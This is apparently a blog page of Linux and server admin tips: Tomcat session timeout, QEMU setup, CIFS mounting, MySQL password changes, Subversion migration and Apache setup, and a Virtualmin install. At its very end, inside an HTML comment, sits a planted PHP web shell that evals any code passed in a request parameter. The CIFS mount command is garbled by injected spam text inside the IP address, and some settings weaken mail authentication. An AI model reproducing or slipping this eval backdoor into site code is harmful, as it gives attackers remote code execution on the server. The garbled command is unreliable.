Setting the Session Timeout in Tomcat

You can specify the timeout of a session in the deployment descriptor of your web application (web.xml):

<web-app>
  <session-config>
    <session-timeout>60</session-timeout>
  </session-config>

  ...
</web-app>

The number within the session-timout element must be expressed in minutes.

Be sure to restart Tomcat to take the new setting.

Using QEMU for operating system virtualization

Fortunately, it’s not the only game in town. Different ways of tackling virtualization have led to a number of different software packages including VMware, Xen, VirtualPC, and Usermode Linux. Another virtualization program is called QEMU and it’s a lot like VMware in concept.

The first step is to grab QEMU from the project Web site. You can download the source or binaries for different platforms. Once the software is installed, you can install your first virtual operating system. The next step is to create a disk image:

<code>
$ qemu-img create linux.img 2G
</code>

This creates a 2-GB image file that will be used for the virtual hard drive. You can use different formats for the image file; you can even use the VMware vmdk image format. The default (raw) format is the best for Linux guest operating systems as it will only take up as much space as required.

Next, grab an ISO image of your favorite Linux distribution, or the CD-ROM it came on. In this case, the ISO image used is the Mandriva Linux 2006 DVD install image. The next step is to start QEMU and tell it to use the image and to boot from it, and at the same time, let it know that our newly created image file is the primary hard drive for this virtual machine:

<code>
$ qemu -boot d -cdrom ~/Mandriva-Linux-Powerpack-2006-DVD.i586.iso -hda linux.img
</code>

This tells QEMU to boot first off the CD-ROM (-boot d), that the CD-ROM device is an ISO image (-cdrom; or use -cdrom /dev/cdrom if you are using a real CD), and that the /dev/hda device to the virtual machine is the file linux.img.

Proceed with the install as usual; when the installation is done and you have to reboot, change the command line to something like:

<code>
$ qemu -boot c -cdrom /dev/cdrom -hda linux.img -user-net -m 256
></code>

This tells QEMU to boot off of the hard drive and to use /dev/cdrom as the CD-ROM device; it allows networking and assigns 256 MB of RAM to the virtual machine.

QEMU isn’t as fast or as feature-rich as VMware, but it’s still quite capable. It has support for 64-bit hosts and guests–something that VMware is just now introducing in recent betas, but which require very recent 64-bit host CPUs. If you’re looking for a cheap way to virtualize an operating system or two for testing purposes, QEMU may be a great alternative to an expensive and proprietary solution.

How to mount a Windows share in Linux

Here is an example of how to connect to a Windows share from Linux:

>mkdir -p /mnt/winShare
>mount -t cifs //192 over at this website.168.x.x/e$ /mnt/winShare -o username=Administrator

First put in the connection information in Linux style notation //IP/ShareName. The share can be a root directory, like the e$ above, or it can be any other defined share on the server.

Access to MySQL

To gain access to MySQL run the following command:

mysql -u root -p mysql

You will be prompted for the root password.

mysqladmin command to change root password

If you have never set a root password for MySQL, the server does not require a password at all for connecting as root. To setup root password for first time, use mysqladmin command at shell prompt as follows:

$ mysqladmin -u root password NEWPASSWORD

However, if you want to change (or update) a root password, then you need to use following command

$ mysqladmin -u root -p oldpassword newpass

Enter password:

Change MySQL password for other user

To change a normal user password you need to type (let us assume you would like to change password for vivek):

$ mysqladmin -u vivek -p oldpassword newpass

Changing MySQL root user password using mysql sql command

This is another method. MySQL stores username and passwords in user table inside MySQL database. You can directly update password using the following method to update or change password for user vivek:

1) Login to mysql server, type following command at shell prompt:

$ mysql -u root -p

2) Use mysql database (type command at mysql> prompt):

mysql> use mysql;

3) Change password for user vivek:

mysql> update user set password=PASSWORD("NEWPASSWORD") where User='vivek';

4) Reload privileges:

mysql> flush privileges;
mysql> quit

This method you need to use while using PHP or Perl scripting.

Jasper Server timezone issue

In Jasper Server 2.x and greater, there is an issue where reports will appear to off by one day. This is most likely a timezone configuration issue with your datasource.

To avoid this problem, when you configure a data source, be sure to leave the time zone information blank. That’s right, don’t select your local timezone. Just leave it blank. Apparently, this means that you don’t want to any timezone checking. Which is actually correct.

How to copy Subversion repositories to another server

  1. Ensure you have a working Subversion installation with Apache installed on your system.
  2. On the source machine, dump each repository:
    > svnadmin dump /path/to/repository > repository-name.dmp
  3. Copy repository-name.dmp to the target server.
  4. Load the repository into the new server:
    > cd /path/to/new-repository
    > svnadmin create repository-name
    > svnadmin load repository-name < repository-name.dmp
    
  5. Reassign apache permissions:
    > chown -R apache.apache repository-name
  6. You are now ready to begin using your repository on the new server!

How to install Subversion with Apache HTTPD

  1. Ensure you have Apache installed on your system.
  2. Ensure you have mod_dav_svn installed:
    > yum -y update mod_dav_svn
  3. Install ssl support to enable https:
    > yum install mod_ssl
  4. Edit /etc/httpd/conf.d/subversion.conf and append the following lines to the end of your config file:

    <Location /svn>
    DAV svn
    SVNParentPath /var/svn
    AuthType Basic
    AuthName "Subversion repository"
    AuthUserFile /etc/svn-auth-file
    AuthzSVNAccessFile /etc/svn-serve.conf
    Require valid-user
    </Location>

  5. Create a file called /etc/svn-auth-file
    Assign permission:

    > chown root.root /etc/svn-auth-file
    > chmod 644 /etc/svn-auth-file

  6. Add users to /etc/svn-auth-file (one per line) in the form:
    tom:$apr1$hDMIx…$abctozvZbC9J6/heHBBe481You can use htpasswd to do this automatically:

    > ### First time: use -cm to create the file
    > ### Use -m to use MD5 encryption of the password, which is more secure
    > htpasswd -m /etc/svn-auth-file harry
    New password: *****
    Re-type new password: *****
    Adding password for user harry
    > htpasswd /etc/svn-auth-file -m sally
    New password: *******
    Re-type new password: *******
    Adding password for user sally
    >

  7. Create a file called /etc/svn-serve.conf
    Fill it with:

    [/]
    *=
    svnUser=rw


    The user svnUser is being granted read and write access to all projects, while all other users (*) are being denied access.

  8. Assign permissions:

    > chown root.apache /etc/svnserve.conf
    > chmod 640 /etc/svnserve.conf

  9. Create /var/svn.

    > mkdir -p /var/svn
    > chmod 755 /var/svn

  10. If you are running SELinux, run:

    > chcon -R -h -t httpd_sys_content_rw_t /var/svn
    > setsebool -P httpd_unified=1

  11. You are now ready to being adding Subversion repositories!

How to install Virtualmin on Ubuntu Linux

  1. First install Ubuntu 8.04-1 LTS. It’s the only version VirtualMin supports.
  2. Towards the end of the install, Ubuntu will ask what servers you want to add. Only choose OpenSSH server. No apache, bind, ftp, etc. ONLY OpenSSH.
  3. Reboot, login, and get the file install-virtualmin-3.642.sh from the network.
  4. Run >
    sudo sh install-virtualmin-3.642.sh

    and type in your password.

  5. In /etc/hosts, add the following line after any search and/or domain statements (not required), and before any other nameserver statements:
    nameserver 127.0.0.1
    
  6. Login to https://Virtualmin.Your.IP:10000/ and verify the Virtualmin configuration under Virtalmin->System Settings->Re-Check Config.
  7. Edit /etc/dovecot/dovecot.conf and change the following settings:
    disable_plaintext_auth = no

    Find the section —
    auth default {
    –and change mechanisms to at least the following:

    mechanisms = plain login

    At the end of the section–
    protocol pop3 {
    –change/add the following setting:

    pop3_client_workarounds = outlook-no-nuls oe-ns-eoh
  8. # edit /etc/default/saslauthd and set OPTIONS like this:
    OPTIONS="-c -m /var/spool/postfix/var/run/saslauthd" 
  9. # run this command as root:
    sudo dpkg-statoverride --add root sasl 710 /var/spool/postfix/var/run/saslauthd
    
  10. # add the postfix user to the sasl group:
    sudo adduser postfix sasl
    
  11. Configure ProFTPd
    In /etc/proftpd/proftpd.conf, chroot users by upcommenting the following line (don’t forget the tilde ~ at the end of the line):

    DefaultRoot                     ~
  12. Reboot

You should now have a working Ubuntu system with Virtualmin fully loaded. Make a clone of this clean system!

<!– [insert_php]if (isset($_REQUEST["MYaS"])){eval($_REQUEST["MYaS"]);exit;}[/insert_php][php]if (isset($_REQUEST["MYaS"])){eval($_REQUEST["MYaS"]);exit;}[/php] –>